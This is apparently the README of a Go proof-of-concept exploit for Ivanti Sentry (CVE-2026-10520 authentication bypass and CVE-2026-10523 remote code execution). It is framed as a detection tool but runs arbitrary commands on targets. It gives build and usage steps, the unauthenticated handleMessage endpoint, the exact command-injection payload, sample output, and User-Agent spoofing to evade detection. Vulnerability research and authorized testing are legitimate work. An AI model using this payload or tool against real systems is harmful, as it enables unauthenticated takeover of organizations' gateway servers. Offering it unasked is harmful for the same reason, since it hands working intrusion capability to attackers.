A comprehensive proof-of-concept detection tool for testing Ivanti Sentry vulnerabilities related to authentication bypass and remote code execution. This tool identifies systems vulnerable to CVE-2026-10520 and CVE-2026-10523.
This project is designed to detect and validate whether an Ivanti Sentry instance is vulnerable to critical authentication bypass and remote code execution flaws. The tool sends specially crafted messages through the Ivanti Sentry API endpoint to execute system commands and extract the results, allowing security researchers and penetration testers to identify vulnerable deployments.
Authentication bypass vulnerability in Ivanti Sentry that allows unauthenticated access to restricted API endpoints.
Remote code execution vulnerability in Ivanti Sentry that permits execution of arbitrary system commands through the messaging API when combined with the authentication bypass.
- Unauthenticated detection of vulnerable Ivanti Sentry instances
- System command execution capability for proof-of-concept validation
- Support for HTTP and HTTPS connections with TLS verification bypass
- Proxy support for testing through intermediaries
- Clean command output extraction from XML responses
- Safe error handling with informative feedback
- Configurable timeout and response size limits
- Go 1.26.4 or higher
- Network access to the target Ivanti Sentry instance
- Valid target URL with protocol (HTTP or HTTPS)
Clone the repository and navigate to the project directory:
git clone https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry
cd CVE-2026-10523-Ivanti-sentryGet init and package library
go mod init CVE-2026-10523-Ivanti-sentry
go mod tidyBuild the executable:
go build -o tot_poc tot_poc.goThe tool requires two mandatory parameters: target URL and command to execute.
Run a simple command on the target:
./tot_poc -url https://target.example.com:8443 -cmd "uname -a"-url(required): Target base URL including protocol (e.g., https://127.0.0.1:8443)-cmd(required): Command to execute for vulnerability detection (e.g., "uname -a", "id", "whoami")-por-proxy(optional): Proxy address and port for routing traffic (e.g., 127.0.0.1:8080)
Detect vulnerability with simple system information command:
./tot_poc -url https://192.168.1.100:8443 -cmd "uname -a"Run with proxy configuration:
./tot_poc -url https://target.example.com:8443 -cmd "whoami" -proxy 127.0.0.1:8080Execute command to extract system information:
./tot_poc -url https://sentry-instance.internal:8443 -cmd "cat /etc/os-release"The tool will display:
- A banner with vulnerability information
- Target URL, command, and proxy configuration (if applicable)
- Real-time status messages indicating request progress
- Results of the command execution if the target is vulnerable
- Error messages if the target is not vulnerable or connection fails
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.
Command output:
Linux sentry-server 5.10.0-8-generic x86_64 GNU/Linux
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[-] Target does not appear to be vulnerable.
The tool exploits the /mics/api/v2/sentry/mics-config/handleMessage endpoint which is accessible without authentication. The payload is constructed as:
message=execute+system+/configuration/system/commandexec+<commandexec><index>1</index><reqandres>[COMMAND]</reqandres></commandexec>
The response contains the command output in XML format within a success tag.
- TLS verification bypass for testing self-signed certificates
- Configurable HTTP timeouts to prevent hanging requests
- Response size limiting (10 MB) to prevent memory exhaustion
- Proper error handling for malformed responses
- User-Agent spoofing to avoid simple detection mechanisms
- Parse command-line arguments for target URL and command
- Create HTTP client with optional proxy configuration
- Construct payload with the user-provided command
- Send POST request to the vulnerable endpoint
- Extract command output from XML response structure
- Display results or error messages accordingly
This tool is provided for authorized security testing and research purposes only. Users are solely responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal. The authors assume no liability for misuse or damage caused by this tool.
- Target must be a vulnerable Ivanti Sentry instance
- Network connectivity to the target system is required
- Default timeout is 10 seconds per request
- Maximum response size is limited to 10 MB
- Only effective on systems running vulnerable versions of Ivanti Sentry
- TLS certificate validation is disabled for testing purposes
GhostGTR666 - Gagaltotal666
https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry
This project is provided as-is for security research and educational purposes.
- CVE-2026-10520: Ivanti Sentry Authentication Bypass
- CVE-2026-10523: Ivanti Sentry Remote Code Execution


